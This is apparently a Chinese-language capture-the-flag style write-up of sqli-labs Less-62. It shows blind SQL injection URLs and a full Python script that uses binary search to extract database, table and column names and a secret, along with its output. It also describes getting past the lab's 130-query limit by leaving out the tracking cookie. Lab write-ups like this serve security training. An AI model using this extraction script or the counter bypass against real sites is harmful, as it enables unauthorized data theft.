【sqli-labs】 less62 GET -Challenge -Blind -130 queries allowed -Variation1 (GET型 挑战 盲注 只允许130次查询 变化1)

允许130次尝试，然后是个盲注漏洞，看来要单字符猜解了

加单引号，页面异常，但报错被屏蔽了

http://192.168.136.128/sqli-labs-master/Less-62/?id=1'

加注释符，说明不止是用单引号闭合

http://192.168.136.128/sqli-labs-master/Less-62/?id=1'%23

加单括号，页面恢复正常

http://192.168.136.128/sqli-labs-master/Less-62/?id=1')%23

猜解数据库名

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select database()),1,1))=98%23

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select database()),1,1))=99%23

数据库第一位字符为ascii=99的字符，即'c'

表名第一位字符'W'

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges'),1,1))=87%23

http://192.168.136.128/sqli-labs-master/Less-62/?id=1') and ascii(substr((select secret_1O45 from WOJXNS9PWT),1,1))=49%23

 编写一个python脚本来完成操作

# -- coding: utf-8 --
# version: python 2.7
# file: less62.py  
# time: 2018.2.4
# author: superkrissV  

import urllib
import urllib2

headers={        
        'Host': 'localhost',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate'
        }

target_url = "http://localhost/sqli-labs-master/Less-62/?id=1"
success_str = "Your Login name"

# ')闭合
length_payload = "') and length(%s)>=%d #"
char_payload = "') and ascii(substr(%s, %d, 1))>=%d #"

table_name = "(select table_name from information_schema.tables where table_schema='%s' limit %d,1)"
column_name = "(select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1)"
column_data = "(select %s from %s.%s limit %d, 1)"

ascii_start = 33
ascii_end = 126

max_length = 50

count = 0
# 构造对应的payload并发送
def sendRequest(payload):
    global count
    count += 1
    url = target_url + urllib.quote(payload)
#    print url
    try:
        request = urllib2.Request(url=url, headers=headers)
        response = urllib2.urlopen(request)
        if success_str in response.read():
            return True
        return False
    except urllib2.HTTPError as e:
        return False

# 利用递归和二分法获取长度
def getLength(start, end, command):
    if (start+1) == end:return start
    mid = (end+start) / 2
    if sendRequest(length_payload % (command, mid)):
        start = mid
    else:
        end = mid
#    print start,"    ",end
    result = getLength(start, end, command)
    return result

# 返回pos位置的字符的ascii码值
def getSingleChar(start, end, command, pos):
    if (start+1) == end:return start
    mid = (end+start) / 2
    if sendRequest(char_payload % (command, pos, mid)):
        start = mid
    else:
        end = mid
#    print start,"    ",end
    result = getSingleChar(start, end, command, pos)
    return result

def getInfo(command):
    i = 1
    info = ""
    maxLen = getLength(1, max_length, command)
    print command, " length:", maxLen
    while(1):
        if i > maxLen:break
        info += chr(getSingleChar(ascii_start, ascii_end, command, i))
        i += 1
        print info

getInfo("database()") 
getInfo(table_name % ("challenges",0))
getInfo(column_name % ("challenges","ah5ketrxy1",0))
getInfo(column_name % ("challenges","ah5ketrxy1",1))
getInfo(column_name % ("challenges","ah5ketrxy1",2))
getInfo(column_data % ("secret_DRXQ","challenges", "ah5ketrxy1",0))

print "Count: ", count

输出如下

E:python_scriptsdvwa>python less62.py
database()  length: 10
c
ch
cha
chal
chall
challe
challen
challeng
challenge
challenges
(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)  length: 10
a
ah
ah5
ah5k
ah5ke
ah5ket
ah5ketr
ah5ketrx
ah5ketrxy
ah5ketrxy1
(select column_name from information_schema.columns where table_schema='challenges' and table_name='ah5ketrxy1' limit 0,1)  length: 2
i
id
(select column_name from information_schema.columns where table_schema='challenges' and table_name='ah5ketrxy1' limit 1,1)  length: 6
s
se
ses
sess
sessi
sessid
(select column_name from information_schema.columns where table_schema='challenges' and table_name='ah5ketrxy1' limit 2,1)  length: 11
s
se
sec
secr
secre
secret
secret_
secret_D
secret_DR
secret_DRX
secret_DRXQ
(select secret_DRXQ from challenges.ah5ketrxy1 limit 0, 1)  length: 24
c
cL
cLi
cLit
cLitv
cLitvi
cLitviU
cLitviUK
cLitviUKt
cLitviUKt6
cLitviUKt6b
cLitviUKt6b0
cLitviUKt6b0l
cLitviUKt6b0lM
cLitviUKt6b0lM1
cLitviUKt6b0lM1X
cLitviUKt6b0lM1XE
cLitviUKt6b0lM1XEo
cLitviUKt6b0lM1XEoD
cLitviUKt6b0lM1XEoD1
cLitviUKt6b0lM1XEoD1X
cLitviUKt6b0lM1XEoD1XK
cLitviUKt6b0lM1XEoD1XKA
cLitviUKt6b0lM1XEoD1XKA2
Count:  457

可以发现，查出secret一共花了457个GET请求，远大于130的限制， 但是由于网站的计数是使用了cookie的，而脚本每次GET请求并没有携带相应的cookie，使得计数不成功，绕过了限制取到了数据

总共猜测字符至少24+11+10+10=55个（不算猜测长度），若在130的限制下，平均一个字符只有2-3次猜测机会，使用二分法的话，应该是不可能的。